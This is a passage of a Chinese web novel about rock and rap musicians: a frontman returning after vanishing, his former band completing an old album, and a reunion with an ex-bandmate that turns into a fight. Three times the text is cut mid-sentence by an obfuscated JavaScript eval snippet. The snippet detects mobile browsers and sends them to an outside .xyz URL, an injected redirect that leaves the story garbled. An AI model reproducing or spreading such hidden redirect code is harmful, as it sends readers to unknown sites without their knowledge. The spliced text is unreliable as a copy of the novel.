“你可是我们滚圈唯一有脸的啊!”——魏巡对此痛心疾首,有点骂人的成分,不多,主要还是称赞他伟大的颜值,毕竟在圈内流传着这样一种说法——暴风眼能火到这程度,很大一部分原因是他们有席泽池这张脸在,高级得一塌糊涂,全世界人民都好这口。 这句话属实没毛病,世界颜值榜排名第一的一米九男人继续找他的杯子,扫了一圈都没看到,把烟掐了倒也没再说什么。 他平日赶deadline就没个心情好的时候,面无表情就仿佛全世界都把他惹了,某方面来讲邱纪澔跟他也算是一脉相承,但显然现在这人心情还算不错。 “是不是半夜扔了啊你。” 魏巡瘫在沙发上一边回手机消息一边撸狗,他们乐队做歌流程比较佛,通常是他跟鼓手花念旭先把旋律和一半歌词搞出来,再丢给队长同瞳去填,等过上几遍敲定后才轮到席泽池编曲再录音,现在属于是闲得没事干在这里监工。 “不至于吧。”席泽池皱了下眉,那杯子他用好几年了,凌晨收拾废稿前还特意把它放到架子上了。 啧……架子。 他屈起膝盖蹬了下桌沿,借力滑到角落的书架旁,要找的保温杯就放在最中间那一层。 粉色的,杯身印着三丽鸥联名的卡通图案,靠底的地方贴着一张白色的标签,上面用黑色马克笔写着“H A O”三个字母,外面还被用透明胶带再盖了一层,是之前跟那些家当一块儿寄来的,应该是快递员收拾东西时装错了,但一想还又还不回去,席泽池拿出来就直接用上了,标签属于是懒得去撕。 他拧开盖去接水,队内的鼓手花念旭正好推开门进来,看到席泽池后喜笑颜开地一乐:“呦,都在啊?” 魏巡忙着给狗拍照,随口回了句:“那难不成在哪?” “吃饭啊兄弟,”花念旭说,“老太阳乐队今晚庆祝搬迁,我朋友圈一半人都被霍卓邀过去了。” 说话间他很直白地看了眼席泽池,分明是在调侃前任主唱为什么没被邀请。 “你说这。”魏巡装模装样地摇了下头,“他可能都不知道,这人社交平台早把旧日一键全屏蔽了。” “……那倒没有。”席泽池很会为自己正名,靠椅子上言之有理道,“我是把原来的微信跟微博都注销了。” 那这跟屏蔽了有什么区别。 魏巡叹了口气,拍了拍五黑土松犬的狗头:“爹他狗,你能不去咬他一口?” 黑狗“汪”了一声,圆滚滚的身子一转就蹿到席泽池脚边,然后毫无节操就地一躺,四脚朝天地露出了软乎乎的肚皮。 席泽池垂眸瞥了眼它,岿然不动地拿着粉色卡通杯喝了口水。 别说魏巡了,连花念旭都对这一幕有点不忍直视,但一想到他刚来暴风眼时那半死不活的状态,心里顿时又有些释怀了。 该说是应该呢还是活该呢……魏巡跟他认识了快十五年,从来都没猜对过他的想法。 席泽池这人属龙,实属是脑子有点什么大病——当然,能做出在演唱会上当场砸吉他跟粉丝干架的自然也不是一般人,故而没多久就玩起人间蒸发也情有可原。 整整一年都音讯全无,圈内所有人都以为他悄摸死哪了,结果他又自己滚了回来,轻描淡写解释道:“我只是写不出歌。” 他只是写不出歌,被极致的完美主义与日益滋长的自我怀疑相互绞杀,经历了一场无声的凌迟后,厌倦地选择了逃避。 那天七个摇滚老炮集聚一堂,在小院子里听他掰扯一年内的离奇经历,什么孤身爬雪山独自去沙漠还勇闯了无人区,说到最后愣是没一个人能接得上话。 魏巡猜他是在云南生吃了太多的有毒菌子,同瞳深表赞同,正好那时候后者唱坏了嗓子,停了工作跑了成员乐队也面临解散,两人一拍即合,干脆就把他抓过来顶了主唱的位置——至少还有个正经事干,不至于整天像个丢了魂的神经病似的骚扰其他人。 暴风眼乐队早期风格偏向Grindcore,死亡摇滚里的一种,也叫Deathgrind,基调充斥着极端的混乱和暴力美学,听着爽是爽了,但跟有躁郁症一样,老牌归老牌,却根本大众不了,除了同瞳和魏巡外其他四个全是后来才加入的,玩迷幻电子的主唱搞放克的鼓手钻研蓝调的吉他还有玩视觉艺术的键盘,融合在一起倒是诡异地爆火了起来,近几年在世界上竟然成了撑起东亚地区摇滚最大的脸面。 领格莱美奖那天给席泽池惊得连说了三遍真奇了,没想到一个在国内堪堪获得迷笛奖提名的专辑,居然一路漂洋过海捧回了摇滚界的最高荣誉。 是该说国内评选有问题还是世界级评委看走眼,可领都领了就这么着吧,魏巡现在一回忆就觉得离谱,但转念想到席泽池这波澜壮阔的二十多岁——一个音乐人连歌都写不出来可不就是有些完蛋了,完蛋到席泽池这样甚至连自己一手打造的乐队都能弃如敝履,改头换面重新复出顺道换了风格,没想到这之后的日子活得着实牛逼。 拿圈内著言概括,那就是都搞音乐了能有谁不发疯的。 而其中最具代表性的某三字神人,可谓是疯得的确很有水平。 ——毕竟他连自己音乐节把哪个男的睡了都不知道。 在摇滚圈里,私生活混乱还乱搞关系的大有人在,像他这样喝到断片的也不是少数。故而睡粉不是什么大事,睡男的也不需要多大惊小怪,但问题就在于是他睡了个男的,而且还睡的是个雏儿——滚圈果儿基本都身经百战,这种腿都张不开的说不定还是个什么都没经历过的小孩儿,有初次情结的话后面再找来这事就有点麻烦了——大名鼎鼎的席泽池在外一向自谓是个正儿八经的直男来着。 可惜喝大的记忆宛如吃了一发遗忘消失术,魏巡问的时候他深思了一番,就知道是个男的,腿特长,倒是挺会叫的,除了过程体验相当不错外其他一概空白,三言两语简单表述的话即为他好像真搞了个人,但又好像没搞是纯做梦,可搞没搞人席泽池自己肯定是最清楚的,一句话总结那便是这艳遇实在有够炸裂。 前前后后加起来聊了能有一周,魏巡把这当笑话讲,于是这事在圈内广为流传。就连除了巡演外神龙不见首尾的同瞳都特地空出时间来找了他一次,让他注意着点别哪天又乱睡人—— 天地良心,席泽池虽然神经了点,但真没其他滚男那种看对眼就管不住下半身的雄性恶习,躺椅子上思来想去半天,觉得自己怎么着也都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344527|182930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不至于吧。 魏巡也表示是挺不至于的:“你不是个异性浪漫无性恋者?” 这词语过于专业,但严格来讲,花念旭觉得他这种情况更贴近于是个Demisexuality,即要发生点什么的前提是得有情感联结,像那种见一面就能对陌生人产生冲动的情况,按在席泽池这种半性恋人群身上有够扯淡的。 可人在记忆全无的情况下指不定刚好碰到了个例外,这实在说不准,于是三个人对着百度百科谈论了半天,最后也只能不了了之。 之前席泽池跑路旧日,现在被一夜情对象跑路,魏巡若有所思道:“这怎么不算是一种风水轮流转……” “这也能相提并论?”花念旭很怀疑。 “得了,”席泽池立刻驳回魏巡的观点,拿不知道还要睡谁的滚圈果儿和旧日乐队比,他嗤笑:“你什么时候这么缺德了?” “那你反复提这个的目的是……?”魏巡把话题踢回给席泽池,“那不能是跟我们宣布你成同性恋了吧。” “就不能单纯说说?”席泽池回忆了下,怎么着都……“挺有趣的反正。” 完全拿不准他是在说什么有趣,这人思维牛头不对马嘴的,到底是那果儿有趣还是第一次睡男的有趣,魏巡怎么想都一阵恶寒,对此有些无言以对。 席泽池拆了包维C粉,继续用那不伦不类粉色卡通杯子喝水,花念旭压根就不是来和他们谈这个话题的,清清嗓子问:“所以你还真一点都不管之前那乐队了?” “可不呢,”这事魏巡很有发言权,“他早八辈子就没管过了。” 席泽池有些纳闷:“你几天认识我?” 他刚消失那会儿微博评论区全是粉丝刷屏的《你为什么要走》文学,看着实在心烦,于是从账号注销起那天就决定跟旧日一刀两断,旧日旧日,都旧日了,留在过去就行了,他一想到之前的自己都犯头疼。 “那我得说了,”花念旭这才解释,“乔文秋,就那接替你主唱那个,说是要把你之前留下的那专辑做完。” 魏巡有点吃惊:“现在开始啊?多少年了都。” “就是因为这么多年了,”花念旭翻出聊天记录说,“所以刚才他托白瑜玉让我来问问,你是怎么想的。” 席泽池能怎么想,那专辑他自己都写不出来。 “……那能做?”他咬着烟点燃,过了会儿才神色微妙道:“结构,配器,和弦,编曲……他做那得多凑合。” “你要不听一下再评价?”花念旭有着不一样的观点,条理有序道,“说真的,其实旧日这些年做的音乐还可以,就是你那菌子音乐,他们现在那编曲挺顶的,主唱唱不了的地方全给用节奏盘活了,编的都快玩出花了…你之前那歌改的也挺像样,要我说……” “他这怎么听,”魏巡语速飞快地插话,“他微信都换号了,其他平台能不把旧日给屏蔽掉?” “可不是嘛,”席泽池点点头站起身,跨过在脚边趴着的五黑,抓过桌子上的黑色帆布小包拎到手里,笑了下说,“你还真了解我。” “还没聊完呢,这就走了?”花念旭看着他径直朝门口走,追问喊:“你要回去把网易云放出来啊?” “回去睡觉,我熬一周了。”席泽池低着头开始搜旧日现在的编曲是谁,又复制粘贴字母去搜MissQ是谁,查到名字后啧了声,把屏幕关上,摆摆手又开口说,“他们要做就做吧,挺好,我等着。” “他这是……”花念旭望着那扇门愣了几秒,转头问魏巡,“他这反应正常吗?” “正常吧…”魏巡用力揉了揉趴回来的狗头,末了点点头见怪不怪地说,“这人不正常太久了,这样就挺正常的。” 9.9 那头还在谈论席泽池究竟正不正常,这头,庆祝乐队迁京的熟人局倒是已经散了场。 白瑜玉退出和花念旭的聊天界面,抬头环视了一圈,视线扫过酒楼门口那个靠在柱子上低头打字的人,还是没忍住在拉开车门后去戳了下乔文秋的胳膊。 “我就单纯问问啊乔哥,”他压低声音,“你这rapper朋友,他以前就这样吗?” 乔文秋还沉浸在“席泽池居然真的回复了”的意外中,正打算送完人去找邱纪澔说这事,闻言顿了下,反问道:“这样是哪样?” “就,那样呗。”白瑜玉描述人向来言语匮乏,只好朝站在不远处的卫衣男抬了抬下巴。 他跟乔文秋是在川音的迎新晚会上认识的,不过白瑜玉玩的是民谣,知道乔文秋长了如此一张清秀文静的脸却是个玩摇滚的后大吃一惊,忙道同学你内心挺不羁啊失敬失敬。 虽说民谣摇滚不分家,但像白瑜玉这样能把民谣唱的宛如发癫般魔性震撼的也实属一代枭雄,内心不羁的小白脸连声回他说哪里哪里,又说你书包上那小鸡是星露谷的吗我也喜欢玩这个,一来二去两人便熟络了起来,不过平时的聊天话题基本都是游戏动漫小说之类的,这倒是头一次谈到现实里真实存在的人。 于是乔文秋带着疑惑望向邱纪澔的方向,白瑜玉搭着车门,以一种艰难转身的怪异姿势也一块顺着视线看了过去。 他嘴里的人仍旧靠在那里,鸭舌帽上还叠戴着一个兜帽,身上的无袖连帽背心是oversize的宽大版,胸前挂着三条粗细不一的银色项链,腕子上也是层层叠叠的手表和手串,一身标准到不能再标准的黑怕装扮,仿佛生怕有人看不出他是个rapper。 白瑜玉对rapper没什么偏见,不过这人从乔文秋让他给花念旭发消息开始,就在一旁全方位无死角对所有人表演“活人如何散发冷气”,他想了半天也不知道自己到底哪里惹到了他。 总不是他暗恋乔文秋吧,白瑜玉只能这样想了。 毕竟旧日这乐队在网上的关键词就是谁跑了谁碎了谁来了谁顶替了谁的大型青春伤痛文学,邱纪澔还是里面那个席泽池跑了后给乔文秋狠狠垫了几年场的深情男二,以他一个外人的角度来看,除了这理由还真思考不出来什么了。 问题是rapper会是个gay吗?这点不太好乱造谣,而且rapper是所有圈子里出了名最重视兄弟情义的,他身为乔文秋的好友,邱纪澔也不至于那么不待见他。 “他是不是拿我当…”白瑜玉还是没说出情敌这个词,他迂回了一下,“你能不能告诉他,我白瑜玉是你乔文秋永远的好兄弟。” “哦…”乔文秋懂了,但他只懂了一半,“他平时也是这样的,看起来不太高兴而已,不是讨厌你。” “不是这个。”白瑜玉摇了摇头。 他想说的是刚刚,刚刚他只是在给邱纪澔杯子里添酒时不小心碰到了他的背,大概是后腰那里吧,这人便反应很大地整个人迅速侧身躲开了,并且几乎是从原地跳起来的。 白瑜玉回忆着那一幕,酝酿着用词问道:“你看过那种视频吗?就那个,把一个黄瓜或者香蕉放到猫背后,猫就突然跳起来的那种视频?” “这个我有刷到过。”乔文秋点点头,眼神仍然不解,看样子还是不懂白瑜玉要表达什么。 “哎,我是想说——” 白瑜玉总不能说我觉得你这朋友就跟视频里那个被吓到跳起来的猫一样吧,第一次见面这么形容也太怪了,让他一个只喜欢二次元纸片美少女的宅男这样形容一狂炫酷拽霸的男性rapper也真够为难人。 他刚刚不过是目睹了人类受到极大惊吓后炸毛的全过程,邱纪澔眼神凶巴巴地瞪过来,反应倒和野生动物挺像的,瞳孔缩小、呼吸频率加快,像是进入了某种应激状态,即将要逃走或是一爪子糊到脸上来,以至于他有种错觉那一瞬间邱纪澔握着餐刀,是真的就想直接给他一刀。 可问题是至于吗——邱纪澔至于对他有这么大敌意吗? 碰一下而已,那白瑜玉算是记着了,心想下次我和你保持三米距离好了吧。 乔文秋看起来还没完全搞清他的意思,下意识用那套顺邱纪澔毛的惯用说辞搪塞起来,大概是“等你们熟悉起来就会知道了”之类的话。 “…之前大二你不是还问我,为什么中午不吃食堂也不点外卖?他那会儿吃不惯川菜,所以自己在出租屋里做饭,结果天天顺手多给我带一份。而且你别看他表面那样,其实心特别软,嗯……” 乔文秋想了一个贴切游戏宅的比喻,点点头继续说:“这么说吧,你就把他当成你玩galgame时,那种最常见最好攻略的口嫌体正直类型的角色对待就行。” 白瑜玉闭上嘴巴,没去质疑乔文秋现实里没有选项,他该怎么把一个一米八六的寸头帅哥当成傲娇美少女对待,也没说他本来想问的话是“你们乐队除了你难道就没个正常人了吗?” 因为他转念一想,发现忙前忙后的代理霍卓还真是个正常人,而邱纪澔虽然编曲垫音热场写歌,但严格来讲并不算是旧日乐队的一员——不管怎么看都是好一个守护真爱的深情骑士啊!白瑜玉莫名萌生出“你在说什么啊看样子此galgame女主已经被你攻略掉了”的诡异心理…… “行吧,我先走了,”白瑜玉最后只好这样说,“那什么,祝旧日随风啊。” 乔文秋听出他的言外之意,摆摆手笑了一下。 他再往前看去,余光中霍卓已经把车从地下停车场开了出来,停在马路对面,降下车窗朝他招了招手。 乔文秋回头找到邱纪澔,拽着对方的手腕往这边带。 后者正在打语音,手机开的外放,低着头在兜里翻了半天,似乎是找不到耳机放在哪了。 乔文秋摸出自己的蓝牙塞给他,邱纪澔手机那头不知道有多少个rapper吵成一团,跟炸了窝的麻雀似的叽叽喳喳,但一看屏幕,他才发现语音里其实只有三个人,里面甚至还包括了MissQ这个不怎么吭声的哑巴。 那另外两个人未免也太能聊了,仅凭两张嘴就能吵出这种千军万马的阵势,乔文秋着实被震惊到了,因为邱纪澔的原因,他对于rapper这个群体一向有着很严重的认知偏差——他是真不知道其他的rapper居然这么能叭叭。 但事实上,真正该让人觉得离谱的应该是邱纪澔,往外一站就要让其他人惊讶这世界上竟然有这样一个话少的rapper。 邱纪澔不知道乔文秋心里是怎么想的,点开蓝牙把耳机塞到耳朵里,再将音量调小了点,里面方天致还在跟汤程逸对吵。 这通语音的起因是汤程逸大晚上在群里炫狗。 炫耀的炫,一连刷屏发了好几张狗图,方天致一开始还在夸,后来发现这是暴风眼乐队的狗后就激动起来了,发语音大喊道:“本群禁乐队禁暴风眼禁席泽池也禁席泽池的狗!” 禁乐队那正常,禁人就奇怪了,方天致和一个同公司的乐队主唱关系很好,天天在群里发对方怎样怎样也没个收敛,那禁狗就更没理由了,方天致说不出个所以然来,于是汤程逸便问什么时候的事我怎么不知道。 方天致回他说刚刚,反正总之就是这样,我们群禁乐队,那从今天开始也要把乐队的狗也一起禁了,不然这根本不黑怕—— “这什么歪理,”汤程逸发起群通话了,慢条斯理道,“不是马上要和那什么动物保护协会出合作曲吗?再这样我要代表你甲方谴责你了。” “那你谴责呗,”方天致这样回他,娱乐圈那么多人,是个有脑子的都不会找rapper做代言人或者当宣传使的,“我那只是写个词再录个音,镜都不出,曲还是MQ编的。” MQ,说到MissQ,汤程逸转了个话题,问:“今天旧日乔迁,MQ你是不是也在啊? 邱纪澔不吭声,汤程逸自觉扳回一城,便道:“怎么这会儿不喊背叛黑怕了?” “你懂个毛啊你,”方天致很维护自己兄弟,“他PTSD就是从旧日带出来的,去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358521|182930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就去了,没diss都算好的了。” “什么叫‘去就去了’?”汤程逸也不知道邱纪澔跟旧日那些弯弯绕绕,可以说全世界除了旧日的内部人员外没人知道邱纪澔之前还在旧日待过,听见这句话懵得一头雾水,忍不住反问,“这是什么休克疗法吗?都ptsd了还特意跑过去庆祝人家来北京啊?” 邱纪澔实打实心烦了一整晚,此刻听到汤程逸这么一问,顿时没好气地冷脸道:“你要死啊汤程逸,我就乐意去还不行吗?” “不是……” 三个人胡乱掰扯一通,汤程逸这才反应过来问题所在,往前一翻,发现他刚刚发的狗是席泽池的狗。 ——准确来说是同瞳的狗,不过暴风眼乐队的队长声带伤的有够严重,别说在互联网了,在乐队内部也经常学席泽池玩失踪,这狗便归万恶之源席泽池养了,后者每天的惯例营业便是发狗的九宫格,于是同瞳的狗就变成了席泽池的狗。 所以就是禁□□□是吧?——汤程逸设了个屏蔽词,又这样在聊天框里打字。 邱纪澔看着那三个黑方块,心情有点更不爽了,方天致在语音那头说诶对对对就这样,下一秒在邱纪澔要发火前机智地先一步转移话题。 “哥们不聊这个了,”方天致唱了段嘻哈,“话说MC江组局,MQ你要去的吧?” MC江AKA左欧江,玩Gangsta的,硬核匪帮说唱代表人物,freestyle张口就来三押punchline更是随随便便,实乃Rapper圈里公认的RAP GOD,当之无愧OG中的OG。 他组局,那一般的rapper都要给面子去一下,而不一般的rapper——例如主攻编曲不怎么freestyle的邱纪澔自然也得给给面子。 于是邱纪澔臭着脸点了下头,半晌反应过来隔着手机屏幕方天致看不到,又抿着唇冷哼了一声。 这人本身就话少,心里一烦话就更少了,汤程逸知道自己说错话,爆手速在手机上现场百度搜索《惹恼了一个rapper该怎么办》,再从网上精挑细选了些鳄龟的视频发到群里,他知道邱纪澔喜欢这个,但日常都在全国各地线下跑活,独居的话没法从小龟苗开始养。 他在这边天南地北地挑好玩的乱叭叭,方天致哼着歌往群里甩了个酒店定位:“我明早就到了,要不要来和我一块住?” “住你个毛线团子啊,”邱纪澔被他两你一句我一句烦得要死,“我有房间。” “你在那住着像个……”方天致想说你兄弟都来了怎么还在那吊地方住,实在不行你去住汤程逸家也行。反正他单方面认为整个旧日都不是什么好鸟,毕竟能走出来一个惹到他哥们说出恨这个字眼的家伙,剩下的人又能是个什么好货。 “那也行,”不过方天致想了想,觉得既然兄弟爱住就随兄弟去住吧,“那到时候MC江的局我去你那接你啊,给个定位?” 邱纪澔切了屏,开始在聊天界面里翻乔文秋之前发的docx文档,方天致在这期间又往群里扔了个定位,看地方是个能容纳很多人的小别墅。 一堆rapper齐聚一堂,那叭叭叭叭下来够养一圈吵闹的鸭子了,汤程逸嘎笑了声,在百度的笑话全集里翻出一句贝斯笑话,正打算念给邱纪澔听,没想到随手点进群聊弹窗一看,倒是惊了。 “你们这OG交友圈够泛啊,”他慢悠悠说,“但rapper的局怎么在我师兄家组?” “你说这,”方天致接话,“别说光你们民谣了,电影明星爱豆综艺咖那些你想见他都能给你叫出来几个。” 邱纪澔终于把那docx文档翻出来,冷哼道:“反正左右都得去,在哪不一个样。” “那看来这不是你们rapper的局了。”汤程逸摇摇头,又随口说,“都民谣嘻哈了,还缺什么?摇滚啊,他总不能把姓席的也叫过来吧?” “你讲毛啊。”方天致爆了声粗口。 手机那头立刻传来“咚”的一声——邱纪澔直接把语音给挂了。 10.10 事先说明,MC江为人豪迈爽朗,长相风流倜傥,不过二十八岁却交友甚广,其人脉网络可谓遍布全球,宽广得有些无边无际。 具体要无边到什么程度呢—— 汤程逸一语成谶,暴风眼乐队的主唱席泽池还真就被他这么叫过来了。 于是当晚回到酒店,方天致盯着邱纪澔鼻梁上刚贴好的卡通创可贴,一时不知道该说些什么才好。 他兄弟那张自带戾气的帅脸上挂了几处彩,鼻梁创可贴下是被戒指划出的一道血痕,下巴处还印着不怎么明显的擦伤,再加上本身皮肤就偏深,就显得整个人都看起来更加不好招惹。 这好听点是透着点生人勿近的野性张力,难听点的话——邱纪澔现在实打实一个脾气很差还会打架的混的人,某种rapper都是硬茬的刻板印象又增加了。 “……MC江这招太狠了。” 方天致把刚从冰箱里拿出来的冰袋塞到他手里,搬了个凳子坐在邱纪澔对面:“早知道这样哥们一开始就不进去了,拉着你去周围逛逛也行。” “不关他事。”黑皮硬茬神色恹恹,“他也不知道我跟……认识。” 那三个字被他刻意含糊过去,邱纪澔缩在沙发里单手回完乔文秋微信,又抿了下唇接着说:“鬼能知道。” 方天致认为这不太好说,毕竟那些老炮互相都认识十几年了:“那好好说着话,你怎么就直接踹上去了?” 邱纪澔黑着脸反问:“不然等他先打我?” 这话说的,方天致真想问问你跟你前乐队主唱之前是个怎样的相处模式了,但他想到今天两人那剑拔弩张的架势,话到嘴边又硬生生熄了音,只好满脑子困惑地开始坐着抖腿。 这种兄弟发生了什么都不知道的感觉实在太憋屈了。 方天致烦躁地抓了把自己的红毛,莫名觉得这就跟音乐节那天早上他死活想不通好哥们到底被谁搞了一样难受。 真离谱到家了!他在心里狠狠吐槽:这两人到底是怎么一回事啊?! ——今天这局,起初是为了给一个想组乐队的民谣吉他手凑的。 那吉他手跟汤程逸师承一脉,但他们师父是个上了年纪的老头儿,现如今已在海南退圈养老,于是这牵线搭桥的活儿自然就落到了师兄叶望谭的头上。后者在民谣圈很有声望,但在组建乐队这方面还真没什么人脉。最后他思来想去,拜托到了自己的至交好友左欧江这里。 左欧江是个rapper,让他凑局惯例肯定是要喊rapper的。 于是他在联系了几个民谣歌手后叫了几个rapper,邀请了两个想组乐队的独立音乐人后又叫了几个rapper,然后过程中就那么顺嘴在群里喊了句:“我跟叶子在北京组了个局,兄弟你们来玩吗?”,结果闲得长毛的魏巡就把席泽池一起抓过来凑数了。 公认的大忙人主唱席泽池本身也没想来的。 但魏巡说他整天赶deadline赶得跟要死了一样,这状态拍张照发出去,那些疯狗般的狂热粉丝不在官博底下抡几万条转发,不大骂乐队虐待世颜一主唱都亏对她们长了双能打字的手。席泽池还没来得及对他这句话做出什么表示,紧接着乐队经纪人也发来消息,让他出来散散步再顺道拍下自拍九宫格,就当是单纯采样找灵感也行。 ——你们音乐人不采样拿什么做音乐?! 在录音室里熬久了的确得出来走两步见见太阳,席泽池觉得他俩说的都挺有道理,稍微倒腾了一下自己就跟着魏巡一块来了。 更何况玩民谣的一般都很会过日子,叶望谭住的这独栋小别野依山傍水,还专门请人测过风水量过卦象,藏风聚气运势通达,要不是左欧江发话,一般人组局还真够不上这么讲究的地方。 而且那盲眼大师掐卦象拨罗盘时席泽池也在场,五年前他身为刚刚回归的失踪人口,实属是平等地骚扰了不在西南地区工作生活的每一个圈内好友。 全世界乱飞的左欧江还好点,像常年居于北京哪也不去的同瞳叶望谭魏巡高朝安这些人就比较惨了,尤其是叶望谭这样行踪固定的,买个房也得被他跟着。 当时的大师为了说明这地方真是宝地,便在解意时毫不客气朝席泽池一指,说哪怕如他般心思捉摸不透的人,自然也是能被这自然所容下的。 叶望谭闻言掐指一算,妙论道:“那也得看他能不能容得下这自然了。” 玄学,真乃从入门到神棍。 席泽池一下车就想摸出根烟来,在大院门口站着吹风的神棍叶望谭走过来谴责他这种行为:“刚到就抽烟?” “不然呢?”席泽池毫无心理负担地反问。 “也就你嗓子够这样造。”叶望谭瞥到他手心的烟盒,又问,“之前印着粉色小猫的包装盒去哪了?” “上次音乐节丢了。”席泽池啧了声,把烟塞回口袋,转而摸了根草莓味棒棒糖叼进嘴里,抬腿往里面走,“今天这场子都有谁?” “左江儿组的局能有谁,”魏巡在后面一边举着手机拍照一边接话,“除了rapper就是rapper呗,有他一个就够能吵的了,这么多凑一起也不嫌燥得慌——”他说着扭头问叶望谭,“你家要组乐队那小孩儿在哪?” “楼上,”叶望谭甩开手中的白扇子摇了摇,淡然道,“我让那几个小孩儿自己熟悉去了,搭是搭上了,但乐队能不能组起来就不是我一句话的事了。” 魏巡咂舌:“你这师兄当的也够操心。” 叶望谭说那没办法,谁让我家老爷子不管事,抬手去开别墅的门,紧跟在他身后的魏巡又压低声音问:“那些搞嘻哈的不在里面吧?” “搞嘻哈的怎么了?”席泽池随口插话道。 “也没什么,我倒不是对他们有意见,”魏巡说,“就是对我耳朵不太友好,你是不知道,我这辈子只在我弟社交圈里见到过一个话少的rapper,就上次天台我说腿特长那个……” “放心,遇不上。”叶望谭语气悠哉地接话,晃晃扇子说,“我让左欧江带去花园钓鱼了。” 他推开门,客厅里只有两个人,一个站在沙发前面低头打字,另一个染着一头红毛的正举着手机来回乱转:“桶在哪啊?我找半天没找到,江哥你是不是记错了?” “不就在沙发旁边嘛!”左欧江的声音从话筒里传出来,“Q宝不跟你在一块儿,你让他找,你小子也没个准话……” 邱纪澔提高了点声音:“我也找不到。” “那是我记错地方了?不应该啊!”左欧江转了话头开始催,“那你俩先回来,快快快,我这钓了个大的!” 方天致挂了电话,正要跟邱纪澔吐槽钓鱼的桶怎么可能放客厅里,回头却发现好兄弟愣在原地一动不动。 怎么个事,他顺着邱纪澔的视线望去,看到在门口站着的那三个人。 “MissQ跟FreeSky?”魏巡认出他俩是谁了,喊人道,“诶,你们也在啊?” 方天致胡乱点了点头,盯着席泽池朝邱纪澔那边走去——毕竟照他兄弟之前的说法来看,好像是跟席泽池有着很大恩怨。 但他还没挪几步就被叶望谭叫住了:“钓鱼的桶在杂物室,走廊左拐第一间。” “……我去拿啊?” 方天致看了眼他再看了眼魏巡,心想这两人都在场,总不至于真出什么事吧?打起来应该不至于…他打算速去速回,转身就往走廊的方向跑去。 邱纪澔跟席泽池对视了半晌,握着手机的胳膊僵在半空都不知道该放到哪里。他下意识向后退了一步,却猝不及防被身后的沙发绊了个正着,踉跄了好几步才稳住身形。 叶望谭一见这反应就觉得有戏可看,拉着魏巡就退到一旁。 “……邱纪澔,”席泽池这才开口问了句:“…MissQ?” 魏巡还在从叶望谭手里往回拽自己衣领,一听这话顿时惊了:“你俩认识?” 邱纪澔只是看着席泽池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶望谭还站他旁边看戏,掐指一算也不知道算出了些什么,魏巡信科学主义不信神棍,想说你们要不说说话吧我们这样有点太尴尬了,哪怕吵起来呢几年前我给你打电话时你们都能把我晾到一边吵,然后转头瞄到走廊那里方天致拎着桶走过来了,再转头一看席泽池确实是开口说话了,但邱纪澔臭着张脸就是不接茬。 席泽池这样道:“……你长高了。” 然后邱纪澔硬邦邦地甩出三个字:“不然呢?” 基本对话就是如此,这性格未免也太野了……魏巡觉得这三个字好像今天在哪里听过,仔细一想这不就是席泽池惯用的口头禅。 “听说你们要开始做那张专了。”席泽池还在继续和人讲话。 邱纪澔言简意赅:“嗯。” “要做之前,”席泽池顿了下,“怎么不来问我?” 邱纪澔似乎是觉得他这句话有点好笑,没什么表情地扯了下嘴角。 “乔文秋能问,霍卓也来问,”席泽池奇了怪了,“偏偏你……” “我干什么要问你?”邱纪澔打断他,嗤笑问,“你谁?” 席泽池神色一凝:“你再说一次。” “再说多少次也是这样。”邱纪澔一字一顿道,“要我问你,那你是旧日的谁?” 这话的挑衅成分再明显不过,席泽池被戳到心病,神色彻底冷了下来,迈步就朝邱纪澔走了过去。 魏巡还想继续听,但方天致举着桶问这是怎么了,叶望谭淡然回他说这两人约莫是在追忆过去,具体追忆个什么可能只有他们本人知道。 方天致像是松了口气,问他我桶拿对了吗?叶望谭点点头,说是这个,你去给左欧江送去吧。 “那我和……”方天致话未说完,回了个头,突然扔了桶拔腿就冲向那两人的方向。 魏巡再侧头往那边一看,只见邱纪澔对着席泽池就抬腿一脚踹—— 夭寿了这人怎么一言不合就直接上脚啊! “要干什么啊你们?!”魏巡心底一惊,连忙也冲过去大喊,“拉架啊!” 11.11 好好说着话怎么就打起来了啊! 这恩怨怎么还真像他猜的那么大?! 方天致一把抱住邱纪澔的腰就往后扯,但他兄弟衣服领子被人攥着,脚还踹在对方腿上,也不知道说了什么导致双方火气都那么大,要不说西南民风属实彪悍呢,这见面就打架的架势其他人还真学不来。 紧随而来的魏巡赶紧拽住席泽池的胳膊试图将两人分开,但一个一米九的高个男再怎么在录音室里熬力气也不是盖的,他抓得太紧,一时半会凭魏巡一个人根本拉不开,正想去催叶望谭叫人,抬头瞧见邱纪澔蜷着身体,那张帅脸都被划出血痕了。 总不能是人自己不注意被戒指刮伤的,多大人了对小孩儿下这么重手,暴风眼乐队的贝斯手再转头一瞥,发现自家主唱好像也被打得流了鼻血。 “多大仇多大怨啊。”魏巡低骂了声。 